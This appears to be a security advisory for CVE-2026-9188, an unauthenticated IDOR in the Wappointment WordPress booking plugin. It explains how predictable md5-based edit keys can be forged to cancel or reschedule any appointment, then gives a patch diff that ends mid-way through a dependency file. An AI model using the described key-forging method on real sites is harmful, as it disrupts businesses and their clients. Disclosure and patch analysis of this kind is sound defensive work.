Published : July 1, 2026

CVE-2026-9188: Appointment Bookings for Zoom GoogleMeet and more – Wappointment <= 2.7.6 Unauthenticated Insecure Direct Object Reference via Predictable 'edit_key' / 'appointmentkey' Parameter PoC, Patch Analysis & Rule

CVE ID CVE-2026-9188
Plugin wappointment
Severity Medium (CVSS 5.3)
CWE 639
Vulnerable Version 2.7.6
Patched Version 2.7.7
Disclosed June 30, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-9188:

This vulnerability is an Insecure Direct Object Reference (IDOR) in the Wappointment plugin for WordPress, affecting all versions up to and including 2.7.6. The plugin generates a predictable ‘edit_key’ token that serves as the sole authorization for appointment cancellation and rescheduling endpoints. Unauthenticated attackers can reconstruct this token using publicly observable data and cancel or reschedule any appointment without authentication.

Root Cause: The vulnerability stems from the generation logic of the `edit_key` parameter in two model classes. In `wappointment/app/Models/Client.php` at line 38, the `generateEditKey` method returns `md5($this->id . $start_at)` where `client_id` is a sequential integer and `start_at` is a publicly visible timestamp. In `wappointment/app/Models/Appointment/Recurrence.php` at line 41, the same method returns `md5($start_at)` which is even weaker. The `edit_key` value is persisted in the database and used by the `tryCancel()` method to authorize actions on appointments. No secret salt, random component, or nonce is included. The unauthenticated REST endpoints that consume `tryCancel()` perform no additional ownership verification beyond matching this reconstructible key.

Exploitation: An attacker can compute valid `edit_key` values by first booking a new appointment to learn their own sequential `client_id` value. The attacker can then enumerate other `client_id` values (small integers) and correlate publicly visible appointment timestamps (`start_at`) from the site’s booking calendar. Staff IDs are also small enumerable integers. For example, an attacker sends a POST request to `/wp-json/wappointment/v1/appointments/{id}/cancel` with the `appointmentkey` parameter set to `md5(client_id . start_at)` or just `md5(start_at)` for recurrence types. If `allow_cancellation` or `allow_rescheduling` is enabled, the endpoint accepts this forged key and processes the cancellation or rescheduling. No authentication is required because the plugin treats the `edit_key` as sufficient proof of authorization.

Patch Analysis: The patch changes the `generateEditKey` function in both `Client.php` and `Recurrence.php` from `md5(…)` to `bin2hex(random_bytes(16))`. This generates a 128-bit cryptographically random hexadecimal string instead of a predictable MD5 hash. The new key is infeasible to guess, making IDOR attacks impossible against genuine appointment records. The patch also introduces a conditional guard in `wappointment/app/Validators/HttpRequest/Booking.php` around the `wappointment_validate_booking` filter, ensuring it only runs when `$this->service->options[‘slots’]` is not set. This prevents the filter from being invoked on every validation, addressing a potential side-effect from the booking flow.

Impact: Unauthenticated attackers can cancel or reschedule any appointment on the site. This leads to denial of service, loss of business appointments, and disruption of scheduling. Since the attack requires only that `allow_cancellation` or `allow_rescheduling` be enabled (common defaults), exploitation is straightforward and requires no special privileges or user interaction.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/wappointment/app/Models/Appointment/Recurrence.php
+++ b/wappointment/app/Models/Appointment/Recurrence.php
@@ -38,7 +38,7 @@
     }
     public function generateEditKey($start_at)
     {
-        return md5($start_at);
+        return bin2hex(random_bytes(16));
     }
     private function generateForDay(Carbon $start_temp)
     {
--- a/wappointment/app/Models/Client.php
+++ b/wappointment/app/Models/Client.php
@@ -36,7 +36,7 @@
     }
     public function generateEditKey($start_at)
     {
-        return md5($this->id . $start_at);
+        return bin2hex(random_bytes(16));
     }
     public function getFirstName()
     {
--- a/wappointment/app/Validators/HttpRequest/Booking.php
+++ b/wappointment/app/Validators/HttpRequest/Booking.php
@@ -135,9 +135,11 @@
         }
         $this->validateService($inputs);
         $this->validateLocation($inputs);
-        $result = apply_filters('wappointment_validate_booking', true, $inputs, $this->service, $this->location, static::$startKey, $this->staff);
-        if ($result !== true) {
-            throw new WappointmentException("Error Processing Request", 1);
+        if (!isset($this->service->options['slots'])) {
+            $result = apply_filters('wappointment_validate_booking', true, $inputs, $this->service, $this->location, static::$startKey, $this->staff);
+            if ($result !== true) {
+                throw new WappointmentException("Error Processing Request", 1);
+            }
         }
         $this->generateValidation($inputs);
         $inputs[static::$startKey] = (int) $inputs[static::$startKey];
--- a/wappointment/index.php
+++ b/wappointment/index.php
@@ -6,14 +6,14 @@

 /**
  * Plugin Name: Wappointment
- * Version: 2.7.6
+ * Version: 2.7.7
  * Plugin URI: https://wappointment.com
  * Description: Clients quickly book a meeting with you on Zoom , GoogleMeet , the phone or at your office
  * Author: Wappointment
  * Author URI: https://wappointment.com
  * Requires at least: 5.5
  * Requires PHP: 7.4
- * Tested up to: 6.9
+ * Tested up to: 7.0
  *
  * Text Domain: wappointment
  * Domain Path: /languages
@@ -32,7 +32,7 @@
  * GNU General Public License for more details.
  */

-define('WAPPOINTMENT_VERSION', '2.7.6');
+define('WAPPOINTMENT_VERSION', '2.7.7');
 define('WAPPOINTMENT_PHP_MIN', '7.4.0');
 define('WAPPOINTMENT_NAME', 'Wappointment');
 define('WAPPOINTMENT_SLUG', strtolower(WAPPOINTMENT_NAME));
--- a/wappointment/vendor/composer/installed.php
+++ b/wappointment/vendor/composer/installed.php
@@ -2,4 +2,4 @@

 namespace WappoVendor;

-return array('root' => array('name' => 'wappointment/wappointment', 'pretty_version' => 'dev-master', 'version' => 'dev-master', 'reference' => '42be2074f2c69778dab81ab79dddacf2d4427a4b', 'type' => 'worpdress-plugin', 'install_path' => __DIR__ . '/../../', 'aliases' => array(), 'dev' => false), 'versions' => array('doctrine/cache' => array('pretty_version' => '2.2.0', 'version' => '2.2.0.0', 'reference' => '1ca8f21980e770095a31456042471a57bc4c68fb', 'type' => 'library', 'install_path' => __DIR__ . '/../doctrine/cache', 'aliases' => array(), 'dev_requirement' => false), 'doctrine/dbal' => array('pretty_version' => '3.3.8', 'version' => '3.3.8.0', 'reference' => 'f873a820227bc352d023791775a01f078a30dfe1', 'type' => 'library', 'install_path' => __DIR__ . '/../doctrine/dbal', 'aliases' => array(), 'dev_requirement' => false), 'doctrine/deprecations' => array('pretty_version' => 'v1.0.0', 'version' => '1.0.0.0', 'reference' => '0e2a4f1f8cdfc7a92ec3b01c9334898c806b30de', 'type' => 'library', 'install_path' => __DIR__ . '/../doctrine/deprecations', 'aliases' => array(), 'dev_requirement' => false), 'doctrine/event-manager' => array('pretty_version' => '1.2.0', 'version' => '1.2.0.0', 'reference' => '95aa4cb529f1e96576f3fda9f5705ada4056a520', 'type' => 'library', 'install_path' => __DIR__ . '/../doctrine/event-manager', 'aliases' => array(), 'dev_requirement' => false), 'doctrine/inflector' => array('pretty_version' => '2.0.6', 'version' => '2.0.6.0', 'reference' => 'd9d313a36c872fd6ee06d9a6cbcf713eaa40f024', 'type' => 'library', 'install_path' => __DIR__ . '/../doctrine/inflector', 'aliases' => array(), 'dev_requirement' => false), 'doctrine/lexer' => array('pretty_version' => '2.1.0', 'version' => '2.1.0.0', 'reference' => '39ab8fcf5a51ce4b85ca97c7a7d033eb12831124', 'type' => 'library', 'install_path' => __DIR__ . '/../doctrine/lexer', 'aliases' => array(), 'dev_requirement' => false), 'egulias/email-validator' => array('pretty_version' => '3.2.5', 'version' => '3.2.5.0', 'reference' => 'b531a2311709443320c786feb4519cfaf94af796', 'type' => 'library', 'install_path' => __DIR__ . '/../egulias/email-validator', 'aliases' => array(), 'dev_requirement' => false), 'guzzlehttp/guzzle' => array('pretty_version' => '6.5.8', 'version' => '6.5.8.0', 'reference' => 'a52f0440530b54fa079ce76e8c5d196a42cad981', 'type' => 'library', 'install_path' => __DIR__ . '/../guzzlehttp/guzzle', 'aliases' => array(), 'dev_requirement' => false), 'guzzlehttp/promises' => array('pretty_version' => '1.5.2', 'version' => '1.5.2.0', 'reference' => 'b94b2807d85443f9719887892882d0329d1e2598', 'type' => 'library', 'install_path' => __DIR__ . '/../guzzlehttp/promises', 'aliases' => array(), 'dev_requirement' => false), 'guzzlehttp/psr7' => array('pretty_version' => '1.9.0', 'version' => '1.9.0.0', 'reference' => 'e98e3e6d4f86621a9b75f623996e6bbdeb4b9318', 'type' => 'library', 'install_path' => __DIR__ . '/../guzzlehttp/psr7', 'aliases' => array(), 'dev_requirement' => false), 'illuminate/collections' => array('pretty_version' => 'v8.83.27', 'version' => '8.83.27.0', 'reference' => '705a4e1ef93cd492c45b9b3e7911cccc990a07f4', 'type' => 'library', 'install_path' => __DIR__ . '/../illuminate/collections', 'aliases' => array(), 'dev_requirement' => false), 'illuminate/container' => array('pretty_version' => 'v8.83.27', 'version' => '8.83.27.0', 'reference' => '14062628d05f75047c5a1360b9350028427d568e', 'type' => 'library', 'install_path' => __DIR__ . '/../illuminate/container', 'aliases' => array(), 'dev_requirement' => false), 'illuminate/contracts' => array('pretty_version' => 'v8.83.27', 'version' => '8.83.27.0', 'reference' => '5e0fd287a1b22a6b346a9f7cd484d8cf0234585d', 'type' => 'library', 'install_path' => __DIR__ . '/../illuminate/contracts', 'aliases' => array(), 'dev_requirement' => false), 'illuminate/database' => array('pretty_version' => 'v8.83.27', 'version' => '8.83.27.0', 'reference' => '1a5b0e4e6913415464fa2aab554a38b9e6fa44b1', 'type' => 'library', 'install_path' => __DIR__ . '/../illuminate/database', 'aliases' => array(), 'dev_requirement' => false), 'illuminate/filesystem' => array('pretty_version' => 'v8.83.27', 'version' => '8.83.27.0', 'reference' => '73db3e9a233ed587ba54f52ab8580f3c7bc872b2', 'type' => 'library', 'install_path' => __DIR__ . '/../illuminate/filesystem', 'aliases' => array(), 'dev_requirement' => false), 'illuminate/http' => array('pretty_version' => 'v8.83.27', 'version' => '8.83.27.0', 'reference' => '38b8b0c8ca5d5231df9c515f3a3e7aac5f0da9f4', 'type' => 'library', 'install_path' => __DIR__ . '/../illuminate/http', 'aliases' => array(), 'dev_requirement' => false), 'illuminate/macroable' => array('pretty_version' => 'v8.83.27', 'version' => '8.83.27.0', 'reference' => 'aed81891a6e046fdee72edd497f822190f61c162', 'type' => 'library', 'install_path' => __DIR__ . '/../illuminate/macroable', 'aliases' => array(), 'dev_requirement' => false), 'illuminate/pagination' => array('pretty_version' => 'v8.83.27', 'version' => '8.83.27.0', 'reference' => '16fe8dc35f9d18c58a3471469af656a02e9ab692', 'type' => 'library', 'install_path' => __DIR__ . '/../illuminate/pagination', 'aliases' => array(), 'dev_requirement' => false), 'illuminate/session' => array('pretty_version' => 'v8.83.27', 'version' => '8.83.27.0', 'reference' => '9c9988d7229d888c098eebbbb9fcb8c68580411c', 'type' => 'library', 'install_path' => __DIR__ . '/../illuminate/session', 'aliases' => array(), 'dev_requirement' => false), 'illuminate/support' => array('pretty_version' => 'v8.83.27', 'version' => '8.83.27.0', 'reference' => '1c79242468d3bbd9a0f7477df34f9647dde2a09b', 'type' => 'library', 'install_path' => __DIR__ . '/../illuminate/support', 'aliases' => array(), 'dev_requirement' => false), 'nesbot/carbon' => array('pretty_version' => '2.66.0', 'version' => '2.66.0.0', 'reference' => '496712849902241f04902033b0441b269effe001', 'type' => 'library', 'install_path' => __DIR__ . '/../nesbot/carbon', 'aliases' => array(), 'dev_requirement' => false), 'pelago/emogrifier' => array('pretty_version' => 'v6.0.0', 'version' => '6.0.0.0', 'reference' => 'aa72d5407efac118f3896bcb995a2cba793df0ae', 'type' => 'library', 'install_path' => __DIR__ . '/../pelago/emogrifier', 'aliases' => array(), 'dev_requirement' => false), 'psr/cache' => array('pretty_version' => '1.0.1', 'version' => '1.0.1.0', 'reference' => 'd11b50ad223250cf17b86e38383413f5a6764bf8', 'type' => 'library', 'install_path' => __DIR__ . '/../psr/cache', 'aliases' => array(), 'dev_requirement' => false), 'psr/container' => array('pretty_version' => '1.1.1', 'version' => '1.1.1.0', 'reference' => '8622567409010282b7aeebe4bb841fe98b58dcaf', 'type' => 'library', 'install_path' => __DIR__ . '/../psr/container', 'aliases' => array(), 'dev_requirement' => false), 'psr/container-implementation' => array('dev_requirement' => false, 'provided' => array(0 => '1.0')), 'psr/event-dispatcher' => array('pretty_version' => '1.0.0', 'version' => '1.0.0.0', 'reference' => 'dbefd12671e8a14ec7f180cab83036ed26714bb0', 'type' => 'library', 'install_path' => __DIR__ . '/../psr/event-dispatcher', 'aliases' => array(), 'dev_requirement' => false), 'psr/event-dispatcher-implementation' => array('dev_requirement' => false, 'provided' => array(0 => '1.0')), 'psr/http-message' => array('pretty_version' => '1.0.1', 'version' => '1.0.1.0', 'reference' => 'f6561bf28d520154e4b0ec72be95418abe6d9363', 'type' => 'library', 'install_path' => __DIR__ . '/../psr/http-message', 'aliases' => array(), 'dev_requirement' => false), 'psr/http-message-implementation' => array('dev_requirement' => false, 'provided' => array(0 => '1.0')), 'psr/log' => array('pretty_version' => '1.1.4', 'version' => '1.1.4.0', 'reference' => 'd49695b909c3b7628b6289db5479a1c204601f11', 'type' => 'library', 'install_path' => __DIR__ . '/../psr/log', 'aliases' => array(), 'dev_requirement' => false), 'psr/log-implementation' => array('dev_requirement' => false, 'provided' => array(0 => '1.0|2.0')), 'psr/simple-cache' => array('pretty_version' => '1.0.1', 'version' => '1.0.1.0', 'reference' => '408d5eafb83c57f6365a3ca330ff23aa4a5fa39b', 'type' => 'library', 'install_path' => __DIR__ . '/../psr/simple-cache', 'aliases' => array(), 'dev_requirement' => false), 'rakit/validation' => array('pretty_version' => 'v1.4.0', 'version' => '1.4.0.0', 'reference' => 'ff003a35cdf5030a5f2482299f4c93f344a35b29', 'type' => 'library', 'install_path' => __DIR__ . '/../rakit/validation', 'aliases' => array(), 'dev_requirement' => false), 'ralouphie/getallheaders' => array('pretty_version' => '3.0.3', 'version' => '3.0.3.0', 'reference' => '120b605dfeb996808c31b6477290a714d356e822', 'type' => 'library', 'install_path' => __DIR__ . '/../ralouphie/getallheaders', 'aliases' => array(), 'dev_requirement' => false), 'sabberworm/php-css-parser' => array('pretty_version' => '8.4.0', 'version' => '8.4.0.0', 'reference' => 'e41d2140031d533348b2192a83f02d8dd8a71d30', 'type' => 'library', 'install_path' => __DIR__ . '/../sabberworm/php-css-parser', 'aliases' => array(), 'dev_requirement' => false), 'sabre/uri' => array('pretty_version' => '2.1.3', 'version' => '2.1.3.0', 'reference' => '18f454324f371cbcabdad3d0d3755b4b0182095d', 'type' => 'library', 'install_path' => __DIR__ . '/../sabre/uri', 'aliases' => array(), 'dev_requirement' => false), 'sabre/vobject' => array('pretty_version' => '4.5.3', 'version' => '4.5.3.0', 'reference' => 'fe6d9183154ed6f2f913f2b568d3d51d8ae9b308', 'type' => 'library', 'install_path' => __DIR__ . '/../sabre/vobject', 'aliases' => array(), 'dev_requirement' => false), 'sabre/xml' => array('pretty_version' => '2.1.3', 'version' => '2.1.3.0', 'reference' => 'f08a58f57e2b0d7df769a432756aa371417ab9eb', 'type' => 'library', 'install_path' => __DIR__ . '/../sabre/xml', 'aliases' => array(), 'dev_requirement' => false), 'soundasleep/html2text' => array('pretty_version' => '0.5.0', 'version' => '0.5.0.0', 'reference' => 'cdb89f6ffa2c4cc78f8ed9ea6ee0594a9133ccad', 'type' => 'library', 'install_path' => __DIR__ . '/../soundasleep/html2text', 'aliases' => array(), 'dev_requirement' => false), 'symfony/console' => array('pretty_version' => 'v5.4.21', 'version' => '5.4.21.0', 'reference' => 'c77433ddc6cdc689caf48065d9ea22ca0853fbd9', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/console', 'aliases' => array(), 'dev_requirement' => false), 'symfony/css-selector' => array('pretty_version' => 'v5.4.21', 'version' => '5.4.21.0', 'reference' => '95f3c7468db1da8cc360b24fa2a26e7cefcb355d', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/css-selector', 'aliases' => array(), 'dev_requirement' => false), 'symfony/deprecation-contracts' => array('pretty_version' => 'v2.5.2', 'version' => '2.5.2.0', 'reference' => 'e8b495ea28c1d97b5e0c121748d6f9b53d075c66', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/deprecation-contracts', 'aliases' => array(), 'dev_requirement' => false), 'symfony/error-handler' => array('pretty_version' => 'v5.4.21', 'version' => '5.4.21.0', 'reference' => '56a94aa8cb5a5fbc411551d8d014a296b5456549', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/error-handler', 'aliases' => array(), 'dev_requirement' => false), 'symfony/event-dispatcher' => array('pretty_version' => 'v5.3.14', 'version' => '5.3.14.0', 'reference' => '6dc2d5b31cdf84fa6344f44056c32f939fcb8c4a', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/event-dispatcher', 'aliases' => array(), 'dev_requirement' => false), 'symfony/event-dispatcher-contracts' => array('pretty_version' => 'v2.5.2', 'version' => '2.5.2.0', 'reference' => 'f98b54df6ad059855739db6fcbc2d36995283fe1', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/event-dispatcher-contracts', 'aliases' => array(), 'dev_requirement' => false), 'symfony/event-dispatcher-implementation' => array('dev_requirement' => false, 'provided' => array(0 => '2.0')), 'symfony/finder' => array('pretty_version' => 'v5.4.21', 'version' => '5.4.21.0', 'reference' => '078e9a5e1871fcfe6a5ce421b539344c21afef19', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/finder', 'aliases' => array(), 'dev_requirement' => false), 'symfony/http-foundation' => array('pretty_version' => 'v5.4.21', 'version' => '5.4.21.0', 'reference' => '3bb6ee5582366c4176d5ce596b380117c8200bbf', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/http-foundation', 'aliases' => array(), 'dev_requirement' => false), 'symfony/http-kernel' => array('pretty_version' => 'v5.4.21', 'version' => '5.4.21.0', 'reference' => '09c19fc7e4218fbcf73fe0330eea38d66064b775', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/http-kernel', 'aliases' => array(), 'dev_requirement' => false), 'symfony/mime' => array('pretty_version' => 'v5.4.21', 'version' => '5.4.21.0', 'reference' => 'ef57d9fb9cdd5e6b2ffc567d109865d10b6920cd', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/mime', 'aliases' => array(), 'dev_requirement' => false), 'symfony/polyfill-ctype' => array('pretty_version' => 'v1.27.0', 'version' => '1.27.0.0', 'reference' => '5bbc823adecdae860bb64756d639ecfec17b050a', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/polyfill-ctype', 'aliases' => array(), 'dev_requirement' => false), 'symfony/polyfill-intl-grapheme' => array('pretty_version' => 'v1.27.0', 'version' => '1.27.0.0', 'reference' => '511a08c03c1960e08a883f4cffcacd219b758354', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/polyfill-intl-grapheme', 'aliases' => array(), 'dev_requirement' => false), 'symfony/polyfill-intl-idn' => array('pretty_version' => 'v1.27.0', 'version' => '1.27.0.0', 'reference' => '639084e360537a19f9ee352433b84ce831f3d2da', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/polyfill-intl-idn', 'aliases' => array(), 'dev_requirement' => false), 'symfony/polyfill-intl-normalizer' => array('pretty_version' => 'v1.27.0', 'version' => '1.27.0.0', 'reference' => '19bd1e4fcd5b91116f14d8533c57831ed00571b6', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/polyfill-intl-normalizer', 'aliases' => array(), 'dev_requirement' => false), 'symfony/polyfill-mbstring' => array('pretty_version' => 'v1.27.0', 'version' => '1.27.0.0', 'reference' => '8ad114f6b39e2c98a8b0e3bd907732c207c2b534', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/polyfill-mbstring', 'aliases' => array(), 'dev_requirement' => false), 'symfony/polyfill-php72' => array('pretty_version' => 'v1.27.0', 'version' => '1.27.0.0', 'reference' => '869329b1e9894268a8a61dabb69153029b7a8c97', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/polyfill-php72', 'aliases' => array(), 'dev_requirement' => false), 'symfony/polyfill-php73' => array('pretty_version' => 'v1.27.0', 'version' => '1.27.0.0', 'reference' => '9e8ecb5f92152187c4799efd3c96b78ccab18ff9', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/polyfill-php73', 'aliases' => array(), 'dev_requirement' => false), 'symfony/polyfill-php80' => array('pretty_version' => 'v1.27.0', 'version' => '1.27.0.0', 'reference' => '7a6ff3f1959bb01aefccb463a0f2cd3d3d2fd936', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/polyfill-php80', 'aliases' => array(), 'dev_requirement' => false), 'symfony/service-contracts' => array('pretty_version' => 'v2.5.2', 'version' => '2.5.2.0', 'reference' => '4b426aac47d6427cc1a1d0f7e2ac724627f5966c', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/service-contracts', 'aliases' => array(), 'dev_requirement' => false), 'symfony/string' => array('pretty_version' => 'v5.4.21', 'version' => '5.4.21.0', 'reference' => 'edac10d167b78b1d90f46a80320d632de0bd9f2f', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/string', 'aliases' => array(), 'dev_requirement' => false), 'symfony/translation' => array('pretty_version' => 'v5.4.21', 'version' => '5.4.21.0', 'reference' => '6996affeea65705086939894b77110e9a7f80874', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/translation', 'aliases' => array(), 'dev_requirement' => false), 'symfony/translation-contracts' => array('pretty_version' => 'v2.5.2', 'version' => '2.5.2.0', 'reference' => '136b19dd05cdf0709db6537d058bcab6dd6e2dbe', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/translation-contracts', 'aliases' => array(), 'dev_requirement' => false), 'symfony/translation-implementation' => array('dev_requirement' => false, 'provided' => array(0 => '2.3')), 'symfony/var-dumper' => array('pretty_version' => 'v5.4.21', 'version' => '5.4.21.0', 'reference' => '6c5ac3a1be8b849d59a1a77877ee110e1b55eb74', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/var-dumper', 'aliases' => array(), 'dev_requirement' => false), 'true/punycode' => array('pretty_version' => 'v2.1.1', 'version' => '2.1.1.0', 'reference' => 'a4d0c11a36dd7f4e7cd7096076cab6d3378a071e', 'type' => 'library', 'install_path' => __DIR__ . '/../true/punycode', 'aliases' => array(), 'dev_requirement' => false), 'voku/portable-ascii' => array('pretty_version' => '1.6.1', 'version' => '1.6.1.0', 'reference' => '87337c91b9dfacee02452244ee14ab3c43bc485a', 'type' => 'library', 'install_path' => __DIR__ . '/../voku/portable-ascii', 'aliases' => array(), 'dev_requirement' => false), 'wappointment/wappointment' => array('pretty_version' => 'dev-master', 'version' => 'dev-master', 'reference' => '42be2074f2c69778dab81ab79dddacf2d4427a4b', 'type' => 'worpdress-plugin', 'install_path' => __DIR__ . '/../../', 'aliases' => array(), 'dev_requirement' => false)));
+return array('root' => array('name' => 'wappointment/wappointment', 'pretty_version' => 'dev-master', 'version' => 'dev-master', 'reference' => '859e91b11fd73741c1cc00f82298e893e95db3b4', 'type' => 'worpdress-plugin', 'install_path' => __DIR__ . '/../../', 'aliases' => array(), 'dev' => false), 'versions' => array('doctrine/cache' => array('pretty_version' => '2.2.0', 'version' => '2.2.0.0', 'reference' => '1ca8f21980e770095a31456042471a57bc4c68fb', 'type' => 'library', 'install_path' => __DIR__ . '/../doctrine/cache', 'aliases' => array(), 'dev_requirement' => false), 'doctrine/dbal' => array('pretty_version' => '3.3.8', 'version' => '3.3.8.0', 'reference' => 'f873a820227bc352d023791775a01f078a30dfe1', 'type' => 'library', 'install_path' => __DIR__ . '/../doctrine/dbal', 'aliases' => array(), 'dev_requirement' => false), 'doctrine/deprecations' => array('pretty_version' => 'v1.0.0', 'version' => '1.0.0.0', 'reference' => '0e2a4f1f8cdfc7a92ec3b01c9334898c806b30de', 'type' => 'library', 'install_path' => __DIR__ . '/../doctrine/deprecations', 'aliases' => array(), 'dev_requirement' => false), 'doctrine/event-manager' => array('pretty_version' => '1.2.0', 'version' => '1.2.0.0', 'reference' => '95aa4cb529f1e96576f3fda9f5705ada4056a520', 'type' => 'library', 'install_path' => __DIR__ . '/../doctrine/event-manager', 'aliases' => array(), 'dev_requirement' => false), 'doctrine/inflector' => array('pretty_version' => '2.0.6', 'version' => '2.0.6.0', 'reference' => 'd9d313a36c872fd6ee06d9a6cbcf713eaa40f024', 'type' => 'library', 'install_path' => __DIR__ . '/../doctrine/inflector', 'aliases' => array(), 'dev_requirement' => false), 'doctrine/lexer' => array('pretty_version' => '2.1.0', 'version' => '2.1.0.0', 'reference' => '39ab8fcf5a51ce4b85ca97c7a7d033eb12831124', 'type' => 'library', 'install_path' => __DIR__ . '/../doctrine/lexer', 'aliases' => array(), 'dev_requirement' => false), 'egulias/email-validator' => array('pretty_version' => '3.2.5', 'version' => '3.2.5.0', 'reference' => 'b531a2311709443320c786feb4519cfaf94af796', 'type' => 'library', 'install_path' => __DIR__ . '/../egulias/email-validator', 'aliases' => array(), 'dev_requirement' => false), 'guzzlehttp/guzzle' => array('pretty_version' => '6.5.8', 'version' => '6.5.8.0', 'reference' => 'a52f0440530b54fa079ce76e8c5d196a42cad981', 'type' => 'library', 'install_path' => __DIR__ . '/../guzzlehttp/guzzle', 'aliases' => array(), 'dev_requirement' => false), 'guzzlehttp/promises' => array('pretty_version' => '1.5.2', 'version' => '1.5.2.0', 'reference' => 'b94b2807d85443f9719887892882d0329d1e2598', 'type' => 'library', 'install_path' => __DIR__ . '/../guzzlehttp/promises', 'aliases' => array(), 'dev_requirement' => false), 'guzzlehttp/psr7' => array('pretty_version' => '1.9.0', 'version' => '1.9.0.0', 'reference' => 'e98e3e6d4f86621a9b75f623996e6bbdeb4b9318', 'type' => 'library', 'install_path' => __DIR__ . '/../guzzlehttp/psr7', 'aliases' => array(), 'dev_requirement' => false), 'illuminate/collections' => array('pretty_version' => 'v8.83.27', 'version' => '8.83.27.0', 'reference' => '705a4e1ef93cd492c45b9b3e7911cccc990a07f4', 'type' => 'library', 'install_path' => __DIR__ . '/../illuminate/collections', 'aliases' => array(), 'dev_requirement' => false), 'illuminate/container' => array('pretty_version' => 'v8.83.27', 'version' => '8.83.27.0', 'reference' => '14062628d05f75047c5a1360b9350028427d568e', 'type' => 'library', 'install_path' => __DIR__ . '/../illuminate/container', 'aliases' => array(), 'dev_requirement' => false), 'illuminate/contracts' => array('pretty_version' => 'v8.83.27', 'version' => '8.83.27.0', 'reference' => '5e0fd287a1b22a6b346a9f7cd484d8cf0234585d', 'type' => 'library', 'install_path' => __DIR__ . '/../illuminate/contracts', 'aliases' => array(), 'dev_requirement' => false), 'illuminate/database' => array('pretty_version' => 'v8.83.27', 'version' => '8.83.27.0', 'reference' => '1a5b0e4e6913415464fa2aab554a38b9e6fa44b1', 'type' => 'library', 'install_path' => __DIR__ . '/../illuminate/database', 'aliases' => array(), 'dev_requirement' => false), 'illuminate/filesystem' => array('pretty_version' => 'v8.83.27', 'version' => '8.83.27.0', 'reference' => '73db3e9a233ed587ba54f52ab8580f3c7bc872b2', 'type' => 'library', 'install_path' => __DIR__ . '/../illuminate/filesystem', 'aliases' => array(), 'dev_requirement' => false), 'illuminate/http' => array('pretty_version' => 'v8.83.27', 'version' => '8.83.27.0', 'reference' => '38b8b0c8ca5d5231df9c515f3a3e7aac5f0da9f4', 'type' => 'library', 'install_path' => __DIR__ . '/../illuminate/http', 'aliases' => array(), 'dev_requirement' => false), 'illuminate/macroable' => array('pretty_version' => 'v8.83.27', 'version' => '8.83.27.0', 'reference' => 'aed81891a6e046fdee72edd497f822190f61c162', 'type' => 'library', 'install_path' => __DIR__ . '/../illuminate/macroable', 'aliases' => array(), 'dev_requirement' => false), 'illuminate/pagination' => array('pretty_version' => 'v8.83.27', 'version' => '8.83.27.0', 'reference' => '16fe8dc35f9d18c58a3471469af656a02e9ab692', 'type' => 'library', 'install_path' => __DIR__ . '/../illuminate/pagination', 'aliases' => array(), 'dev_requirement' => false), 'illuminate/session' => array('pretty_version' => 'v8.83.27', 'version' => '8.83.27.0', 'reference' => '9c9988d7229d888c098eebbbb9fcb8c68580411c', 'type' => 'library', 'install_path' => __DIR__ . '/../illuminate/session', 'aliases' => array(), 'dev_requirement' => false), 'illuminate/support' => array('pretty_version' => 'v8.83.27', 'version' => '8.83.27.0', 'reference' => '1c79242468d3bbd9a0f7477df34f9647dde2a09b', 'type' => 'library', 'install_path' => __DIR__ . '/../illuminate/support', 'aliases' => array(), 'dev_requirement' => false), 'nesbot/carbon' => array('pretty_version' => '2.66.0', 'version' => '2.66.0.0', 'reference' => '496712849902241f04902033b0441b269effe001', 'type' => 'library', 'install_path' => __DIR__ . '/../nesbot/carbon', 'aliases' => array(), 'dev_requirement' => false), 'pelago/emogrifier' => array('pretty_version' => 'v6.0.0', 'version' => '6.0.0.0', 'reference' => 'aa72d5407efac118f3896bcb995a2cba793df0ae', 'type' => 'library', 'install_path' => __DIR__ . '/../pelago/emogrifier', 'aliases' => array(), 'dev_requirement' => false), 'psr/cache' => array('pretty_version' => '1.0.1', 'version' => '1.0.1.0', 'reference' => 'd11b50ad223250cf17b86e38383413f5a6764bf8', 'type' => 'library', 'install_path' => __DIR__ . '/../psr/cache', 'aliases' => array(), 'dev_requirement' => false), 'psr/container' => array('pretty_version' => '1.1.1', 'version' => '1.1.1.0', 'reference' => '8622567409010282b7aeebe4bb841fe98b58dcaf', 'type' => 'library', 'install_path' => __DIR__ . '/../psr/container', 'aliases' => array(), 'dev_requirement' => false), 'psr/container-implementation' => array('dev_requirement' => false, 'provided' => array(0 => '1.0')), 'psr/event-dispatcher' => array('pretty_version' => '1.0.0', 'version' => '1.0.0.0', 'reference' => 'dbefd12671e8a14ec7f180cab83036ed26714bb0', 'type' => 'library', 'install_path' => __DIR__ . '/../psr/event-dispatcher', 'aliases' => array(), 'dev_requirement' => false), 'psr/event-dispatcher-implementation' => array('dev_requirement' => false, 'provided' => array(0 => '1.0')), 'psr/http-message' => array('pretty_version' => '1.0.1', 'version' => '1.0.1.0', 'reference' => 'f6561bf28d520154e4b0ec72be95418abe6d9363', 'type' => 'library', 'install_path' => __DIR__ . '/../psr/http-message', 'aliases' => array(), 'dev_requirement' => false), 'psr/http-message-implementation' => array('dev_requirement' => false, 'provided' => array(0 => '1.0')), 'psr/log' => array('pretty_version' => '1.1.4', 'version' => 